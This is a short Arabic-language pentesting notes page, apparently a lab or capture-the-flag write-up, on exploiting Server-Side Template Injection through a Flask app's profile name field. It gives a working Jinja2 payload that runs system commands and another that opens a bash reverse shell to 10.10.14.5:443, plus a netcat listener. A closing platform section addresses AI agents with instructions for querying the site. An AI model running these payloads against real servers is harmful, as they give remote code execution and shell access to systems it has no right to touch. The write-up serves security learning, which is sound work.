> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI Flask

## SSTI:

<figure><img src="/files/47b039f72fab3bc24a089cb461386fe34ca96c0d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1fdd1d04d7db24a69aa64cbfe8cdca5f8eba25fd" alt=""><figcaption></figcaption></figure>

في النطاق الفرعي، ستجد **الإعدادات** علامة تبويب يمكنك من خلالها تعديل معلومات المستخدم الإداري (الاسم الكامل، تاريخ الميلاد، ورقم الهاتف).

<figure><img src="/files/e348d1fb0fa905d3796b9b487d1378bf829daecf" alt=""><figcaption></figcaption></figure>

إذا حاولت، في نموذج "الاسم الكامل"، تنفيذ هجوم SSTI، فإن الخادم يكون عرضةً لذلك. لاختبار ذلك باستخدام `{{ }}`، نختبر ما إذا كان يفسّر العملية الحسابية:

```python
{{1+1}}

```

<figure><img src="/files/a14171eb2ae35e9cae779de76284a959745de3eb" alt=""><figcaption></figcaption></figure>

ثم، ننفّذ جميعًا الأوامر (على سبيل المثال، `المعرّف`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

نكتشف أنه في المجموعة `root`.

<figure><img src="/files/6d1c945c375b5c60304737790e24198aa3857d38" alt=""><figcaption></figcaption></figure>

ننفذ جميعًا reverse shell للوصول إلى الخادم

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

نبدأ مستمعًا على المنفذ 443 على جهاز المهاجم الخاص بنا:

```bash
nc -nlvp 443

```

<figure><img src="/files/f0d4bd610562af603208c2e3d11271bc928d815a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
